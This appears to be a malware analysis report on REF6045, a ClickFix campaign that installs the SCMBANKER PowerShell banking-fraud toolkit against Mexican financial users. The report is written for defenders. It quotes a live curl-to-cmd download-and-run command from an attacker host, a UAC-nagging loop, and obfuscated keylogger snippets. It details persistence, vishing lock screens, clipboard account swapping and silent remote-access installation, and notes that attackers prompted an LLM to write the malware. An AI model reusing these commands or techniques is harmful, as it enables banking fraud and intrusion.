A Mexican banking fraud operation we're tracking as REF6045 doesn't run on autopilot. A human operator is behind the wheel, monitoring infected machines and deciding what happens next. Victims are infected through fake CAPTCHA pages that trick them into running a single command, which installs SCMBANKER, a PowerShell toolkit with components dating back to at least October 2025. Once installed, the operator can see when a victim opens a banking session, lock the screen behind a fake bank warning, push the victims towards live phone interaction, redirect the browser, or replace account numbers copied to the clipboard. For a full takeover, they can also deploy a commercial remote-access tool.

Key takeaways

• REF6045 adapts ClickFix delivery into operator-assisted banking fraud, using fake verification pages to stage a PowerShell toolkit (we’re calling SCMBANKER) on victim machines
• SCMBANKER gives operators a full fraud workflow: banking-session monitoring, screenshot capture, vishing overlays, phishing redirects, clipboard manipulation, and Remote Utilities installation
• SCMBANKER heavily targets Mexico’s financial ecosystem, including retail banks, business banking portals, fintechs, payment processors, cryptocurrency exchanges, investment platforms, SAT, and telecom services
• Operator OPSEC failures, including open directories, a leaked web-root archive, and an unauthenticated file editor, expose the operation’s tooling and targeting logic
• The scripts are riddled with AI-generated artifacts, indicating that the operator used an LLM to write most of the tooling

How Elastic Security Labs discovered REF6045

On June 18, 2026, Elastic telemetry surfaced a host using bitsadmin to download a batch of suspicious PowerShell scripts from an open directory at http://68.211.161[.]46/files/. The open directory allowed us to retrieve the individual agent scripts directly, and from the same server, we recovered an archive, zkt.zip, containing the operation's full web root before it was removed.

At the web root of http://68.211.161[.]46/, we found a ClickFix fake-CAPTCHA flow that presented itself as a security verification page. The page first asked the visitor to complete an image challenge, including a Spanish prompt to select fire hydrants, before moving into the familiar Windows Run verification instructions. The command fetches validation.txt from the same web server and pipes it directly into cmd.exe, using the lure text “Google Verificación Segura (Version 2025.5755)”. The page also sends a POST request to a tracking endpoint at https://ww.ssinvestigaciones[.]com/login3.php.

Because navigator.clipboard.writeText() requires a secure, focused browser context to copy the malicious command to the victim's clipboard, the original IP (http://68.211.161[.]46/) was unlikely to be the only victim-facing delivery path. We identified multiple HTTPS ClickFix hosts that reused the same command pattern and pointed victims back to the exposed file servers for validation.txt.

The observed ClickFix and file-server variants are included in the following table. The C2 values were extracted from the PowerShell scripts hosted under each /files open directory.

SCMBANKER's execution chain

The initial infection chain described below uses the monteviral2026.duckdns[.]org ClickFix page as an example, but the observed variants follow the same pattern: they present a CAPTCHA-style verification page, including an image challenge, before copying a command to the clipboard and instructing the victim to run it from the Windows Run dialog.

Below is an example command line:

cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe & exit #                                                     CIoudfIare            Google Verificación Segura (Version 2025.5755)

Decoy strings "CIoudfIare" with capital-I homoglyphs, and the "Google Verificación Segura" version text are reproduced verbatim.

Despite the .txt extension, it is a Windows batch script that prepares the host and sets up the full toolkit in six different stages.

Fake update smokescreen

The batch script immediately launches Microsoft Edge in kiosk mode pointing to fakeupdate[.]net, a well-known pentesting/red team site that renders a fake Windows Update screen. This distraction buys time for the script to fully execute.

start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen

UAC consent fatigue loop

Next, the malware checks if it is running as admin via net session. If it is not elevated, it shows a social-engineered message "Windows: Se requieren permisos de administrador para actualizar su sistema..." (Administrator permissions are required to update your system…), and relaunches itself with -Verb RunAs every 20 seconds, frustrating and forcing the victim to click “Yes” on the UAC consent prompt.

:check
net session >nul 2>&1
if %errorlevel%==0 goto admin
echo Windows: Se requieren permisos de administrador para actualizar su sistema...
powershell -Command "Start-Process '%~f0' -Verb RunAs"
timeout /t 20 >nul
goto check

Cursor trap

Once elevated, an inline PowerShell P/Invoke call to user32.dll!ClipCursor confines the mouse to a single 1x1 pixel rectangle at the screen center, locking any mouse movement. This is paired with the fake Windows Update screen to encourage the victim to stay idle, giving time for the malware to download the full toolset in the background without interruption.

Downloading the SCMBANKER toolkit via bitsadmin

All malicious scripts, files, and binaries are pulled individually via bitsadmin from http://68.211.161[.]46/files/ to C:\Users\Public\.

SCMBANKER's persistence: registry Run key and startup folder

Two persistence mechanisms launched by C:\Users\Public\run.vbs on logon, plus a one-shot infection marker:

• Run key: HKCU\...\Run, value "run", runs hidden PowerShell launching run.vbs.
• Startup folder: run.vbs dropped to three path variants (%APPDATA%, %USERPROFILE%\AppData\Roaming, and the legacy XP %USERPROFILE%\Start Menu).
• RunOnce timestamp: value "id" writes %date% %time% to C:\Users\Public\id.txt once on next logon, then self-deletes.

Forcing a reboot to trigger persistence

The script sends an F11 keypress to exit fullscreen, followed by a Ctrl+W keypress sequence to close the fake Windows Update tab. However, this approach only works in a standard fullscreen browser window, not in kiosk mode. It then forces a reboot with the shutdown /r /t 02 command and switches. Upon restart, the previous persistence mechanism via the Registry Run key triggers execution of the VBScript file (run.vbs).

The SCMBANKER toolkit

run.vbs: SCMBANKER's master launcher

The VBScript (run.vbs) is the master launcher. It uses WScript.Shell.Run with a hidden window style and Invoke-Expression to start the toolkit's modules in parallel:

run.vbs launches the following modules:

Pivoting in VirusTotal, we discovered earlier versions of the toolkit components, suggesting the tooling has been in use since at least October 2025 and has been iterated on for several months.

C2 beacon and victim management

Every 30 seconds, cliente.ps1 collects a machine profile and performs an HTTP POST request to https://negratomasa2026[.]online/dashboard2/recData.php:

The following tables represent this request data and their associated fields:

The C2 response contains two operator-controlled fields.

The data from the comentario field is saved to comentario.txt and stores the operator’s label or notes for the victim.

The data from the comando field is saved to comando.txt. Other modules poll that file for operator instructions:

• avs.ps1 handles MSI URLs,
• edifhjwe.ps1 handles ZIP update packages
• correr.ps1 handles PowerShell-prefixed execution requests.

The following image shows the server response parsing logic.

Banking activity monitor

The primary banking activity monitor is a PowerShell script (jujuzkt.ps1), but it also has optional active branches:

• URL injection when a configured target has a redirect URL, and
• a commented-out keylogger rotator path via rotor.ps1.

After a short startup delay, invoked by ini.ps1, the banking monitor script refreshes three configuration files every five minutes.

Once running, the banking activity monitor checks all visible window titles every second. A match (full list here) against any listed bank, fintech, payment processor, crypto exchange, brokerage, SAT, or telecom keywords causes the implant to POST an alert to https://negratomasa2026[.]online/dashboard2/avisos2.php in the following format:

mensaje = "<window title>
Detected C0incidence: '<keyword>'
Version: V.1.0.1
10:03 p. m. 08/12/2025
Nombre de PC: <hostname>
Cliente desde: <id>
Client ID: <clientId>
IP: <public_ip>
Navegador: <process_name>
<current timestamp>"
clientId = <clientId>

A banking match also starts the screenshot workflow through the toolkit’s rotator pattern. The rotor scripts act as short-lived wrappers: they copy a target script into %TEMP% under Windows-like process names, execute the copy, and repeat for a set period. In this case, rotor1.ps1 repeatedly spawns screen2.ps1 every 7 seconds for 5 minutes, producing about 42 screenshots per trigger. Each screen2.ps1 run captures the full virtual desktop, compresses the image under 10 MB, and uploads it to https://negratomasa2026[.]online/dashboard2/imagenes.php.

SCMBANKER's keylogging module

jujuzkt.ps1 also contains a commented-out path to launch rotor.ps1, a short-lived rotator for key.ps1. While the banking monitor path launches rotor1.ps1 for screenshots, the presence of rotor.ps1 and key.ps1 shows an additional keylogging capability in the toolkit. rotor.ps1 applies the same rotator pattern to C:\Users\Public\key.ps1.

This PowerShell script (key.ps1) fetches Telegram bot credentials from https://negratomasa2026[.]online/a/telekeylogger.txt via Invoke-Expression, but never references them after assignment. The only exfiltration path in the script is an HTTP POST to https://negratomasa2026[.]online/dashboard2/logs.php with the client ID and hostname. The Telegram configuration may be leftover code from an earlier version.

The vishing engine: turning infections into live phone scams

The vishing engine is what turns a commodity-looking PowerShell bundle into an operator-assisted fraud workflow. rotor2.ps1 applies the rotator pattern to mensaje1.ps1, keeping the dispatcher alive under changing Windows-like filenames.

When mensaje1.ps1 is launched, every 10 seconds it fetches https://negratomasa2026[.]online/b/<redacted>.txt, where each line has the format <IP>*<URL>, mapping a victim public IP address to a vishing page URL. If the victim’s public IP appears in that list, the dispatcher launches a vishing lock-screen module and records the child process ID so it can later release the victim when the IP is removed.

The operator can choose between two overlay behaviors.

• mensaje.ps1 creates a borderless, topmost WebBrowser window, confines the mouse to the form, and uses a 200 ms timer to bring the overlay back to the foreground if the victim clicks away.
• mensajeoff.ps1 uses a more normal-looking window that cannot be closed and automatically undoes every attempt to dismiss, move, resize, or minimize it. Triggered when the URL in ipsabloquearconiframe.txt ends with ?off.

The content of those pages completes the social engineering loop: the victim sees a fake bank warning and is prompted to call an operator. One observed page, http://68.211.161[.]46/driver.html?off, links to a Remote Utilities payload, connecting the vishing prompt directly to hands-on access.

Active browser redirects to phishing pages

Unlike the banking monitor, the redirect module only engages victims the operator has explicitly queued for phishing. remo.ps1 polls https://negratomasa2026[.]online/b/<redacted>.txt every 5 minutes, and only victims whose public IP appears in that file launch the second monitor, jujuzkt2.ps1.

jujuzkt2.ps1 watches window titles against https://negratomasa2026[.]online/b/urlsscams.txt (archived list here) and, when a configured URL exists, places the phishing URL on the clipboard, focuses the browser, sends keypresses (Ctrl+L, Ctrl+V, and Enter), then pauses before continuing.

Many urlsscams.txt entries currently end with an empty URL, which suggests target coverage was planned ahead of the completed vishing pages.

An observed redirect destination, https://bancaporinternetbbmx[.]online, also includes a page-load Telegram notification script. When the phishing page opens, the script forces IPv4 resolution, collects browser and device details, and sends the profile to a Telegram chat. This gives the operator immediate confirmation that a redirected victim has reached the lure and has enough context to prioritize live follow-up.

Clipboard and transfer manipulation

The clipboard modules focus on payment redirection rather than credential theft.

• clip.ps1 checks the clipboard every 300 milliseconds for 18-digit CLABE account numbers, then matches the first three digits against the Mexican bank prefix and can replace the destination account with an attacker-controlled CLABE from https://negratomasa2026[.]online/b/clabes.txt
• clip2.ps1 applies the same process to 16-digit card numbers, matches on the six-digit bank identification numbers, and replaces them with values from https://negratomasa2026[.]online/b/tarjetas.txt

How does the operator get hands-on access to a victim's machine?

SCMBANKER gives the operator direct, hands-on-keyboard control by installing a remote-access tool. Rather than build one, REF6045 repurposes Remote Utilities Host, a legitimate commercial remote-administration product, and configures it silently to call back.

Deployment is operator-triggered and runs through three scripts. The first script (avs.ps1) polls comando.txt every 120 seconds, and when the operator pushes an .msi URL it downloads the installer to C:\Users\Public\ and launches instaler.ps1. This second script ( instaler.ps1) exits if the 99.kut guard file already exists so the RAT installs only once, relaunches itself with -Verb RunAs until it gets admin, then installs silently with msiexec /i "hosts.msi" /quiet /norestart. On success, it writes REMOTO INSTALADO to agent.txt, drops the 99.kut guard, and runs attrib +h +s "C:\Users\Public" to hide the implant directory.

The third script(remoto.ps1) waits 120 seconds, then imports a registry blob into HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters that sets callback auto-connect to the operator (default port 5650, Spanish UI, notifications suppressed, a hardcoded auth key, and SID 46053.045416157).

It also deletes the UninstallString at HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{F6688BD5-2126-4F4F-A484-1D05781479B9} so the victim cannot remove it through the traditional Windows menu: Add/Remove Programs.

The result is a persistent, attacker-configured remote desktop that calls home on its own, runs without tray notifications, and resists removal. It is the same payload as the driver.html?off vishing page points victims to, so the social-engineering prompt and the silent install converge on the same hands-on access.

SCMBANKER's self-update mechanism

SCMBANKER includes a self-update mechanism that lets the operator replace the implant from the C2 without rebuilding persistence. edifhjwe.ps1 polls C:\Users\Public\comando.txt (C2 command written by cliente.ps1) every 40 seconds and treats a ZIP URL as an update instruction.

When triggered, edifhjwe.ps1 downloads the ZIP to %TEMP%\Agent_temp.zip, wipes most of C:\Users\Public\, and extracts the new toolkit into place. It preserves a small set of state files, including comando.txt, comentario.txt, id.txt, agent.txt, and 99.kut, so the updated bot keeps its operator notes, infection timestamp, remote-access status, and Remote Utilities install marker.

After extraction, the updater writes BOT ACTUALIZADO to comando.txt as a completion flag, kills running PowerShell module processes by script name, and relaunches run.vbs.

Is the REF6045 malware written by AI?

The scripts show strong signs of AI assistance, most likely by prompting a large language model in Spanish and then applying manual obfuscation afterward. The code has a split personality, with clean, descriptive function names and heavy explanatory comments sitting next to hand-shortened variables and leftover generation artifacts. The placement of instruction-like comments directly above the code they describe suggests the authors have prompted an inline coding assistant such as Copilot or Cursor.

The clearest artifact is a comment sitting directly in the mutation rotator and the keylogger (rotor2.ps1 and key.ps1), which are saturated with aggressive profanity in their comments, while the rest of the kit uses a neutral tone:

key.ps1 has a self-documenting obfuscation; Base64-encodes its Win32 API names to hide them from scanners, then immediately annotates what each one decodes to:

$u32b64  = 'dXNlcjMyLmRsbA=='          # user32.dll
$GASb64  = 'R2V0QXN5bmNLZXlTdGF0ZQ=='  # GetAsyncKeyState
$GKLb64  = 'R2V0S2V5Ym9hcmRMYXlvdXQ='  # GetKeyboardLayout
$TUExb64 = 'VG9Vbmljb2RlRXg='          # ToUnicodeEx

Every script opens with heavy banner-comment dividers (INTERVALOS DE TIEMPO, DICCIONARIOS Y VARIABLES, FUNCIONES, INICIO, LOOP PRINCIPAL). This document-like scaffolding is a hallmark of LLM-generated PowerShell and is rarely seen in scripts by experienced developers.

Taken together, the evidence points to an operator who prompted a model in Spanish, used profanity and phrasing tricks either out of frustration or to bypass safety filters for the more sensitive components, and pasted the outputs with little review before applying a light manual obfuscation pass. The kit was not generated autonomously, but the model did the heavy lifting on essentially every functional script.

As language models become increasingly capable, defenders should expect AI-assisted malware development to become more common, particularly among operators who previously lacked the expertise to implement these capabilities themselves.

REF6045's infrastructure and OPSEC failures

The depth of this analysis was made possible by poor server hygiene across the operation. The file server at http://68.211.161[.]46/files/ had directory listing enabled, exposing the PowerShell agent scripts for direct download. The same directory also briefly hosted zkt.zip, which yielded the entire operation in a single archive.

The C2 also exposed an unauthenticated file editor at /b/editor.php, allowing anyone to directly modify the operation's live targeting configuration files without credentials. The same surface that lets the operator manage victims also lets a visitor read and write the configuration files.

The related hosts listed in Discovery reused the same validation.txt delivery pattern while hosting overlapping PowerShell toolsets under /files. Those hosted scripts pointed to separate C2 panels, but the panels shared the same SCM-branded login template, with the latest we’ve seen being SCM v2.0, hence the name SCMBANKER.

Taken together, the open directories, exposed editor, repeated lure text, overlapping file-server contents, and shared SCM panel branding suggest kit reuse or multiple deployments by the same operator set. We treat the related hosts as infrastructure variants around the same tooling rather than as separate malware families.

Why REF6045 matters despite its crude execution

REF6045 is not a sophisticated operation. The tooling is crude and held together with copy-paste batch files, duplicated bitsadmin jobs, sloppy persistence, self-defeating obfuscation that ships its own key, and a server left wide open with directory listings, a full web-root archive, and an unauthenticated editing panel.

That lack of craftsmanship is partly explained by how the kit was developed. The scripts are littered with numerous AI-generated artifacts, suggesting the operator relied heavily on a large language model to implement much of the functionality. Rather than writing components such as the keylogger or a clipboard hijacker from scratch, the operator prompted a model, pasted the output, and applied a light manual obfuscation pass on top.

Victims are kept as a passive feed while the operator watches a live dashboard and engages only the targets worth the effort, switching on browser redirects, vishing lockdowns, clipboard swaps, or a full RAT by IP, on demand. Crude as it is, SCMBANKER already has real victims. The live victim counter and the labeled, tagged machines on the operator's own panels show that individual people are being actively targeted.

REF6045 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Persistence
• Privilege Escalation
• Stealth
• Credential Access
• Discovery
• Collection
• Command and Control
• Exfiltration
• Impact

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing: Spearphishing Link
• User Execution: Malicious Link
• Command and Scripting Interpreter: Windows Command Shell
• Command and Scripting Interpreter: PowerShell
• Ingress Tool Transfer
• BITS Jobs
• Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
• Masquerading: Match Legitimate Name or Location
• Hide Artifacts: Hidden Files and Directories
• Modify Registry
• System Information Discovery
• System Network Configuration Discovery
• Application Window Discovery
• Input Capture: Keylogging
• Screen Capture
• Clipboard Data
• Remote Access Software
• Application Layer Protocol: Web Protocols
• Web Service
• Exfiltration Over C2 Channel
• System Shutdown/Reboot
• Financial Theft

How to detect and prevent REF6045

Prevention rules for detecting SCMBANKER

• Suspicious PowerShell Execution via Windows Scripts
• DNS Query to Suspicious Top Level Domain
• Suspicious Bitsadmin Activity
• Suspicious Windows Script Interpreter Child Process
• Execution from Unusual Directory
• External IP Address Discovery via a Trusted Program
• Suspicious String Value Written to Registry Run Key
• Suspicious Command Execution via Windows Run
• Curl HTTP Fetch Piped to Cmd or Node via Command Shell

Observations

The following observables were discussed in this research.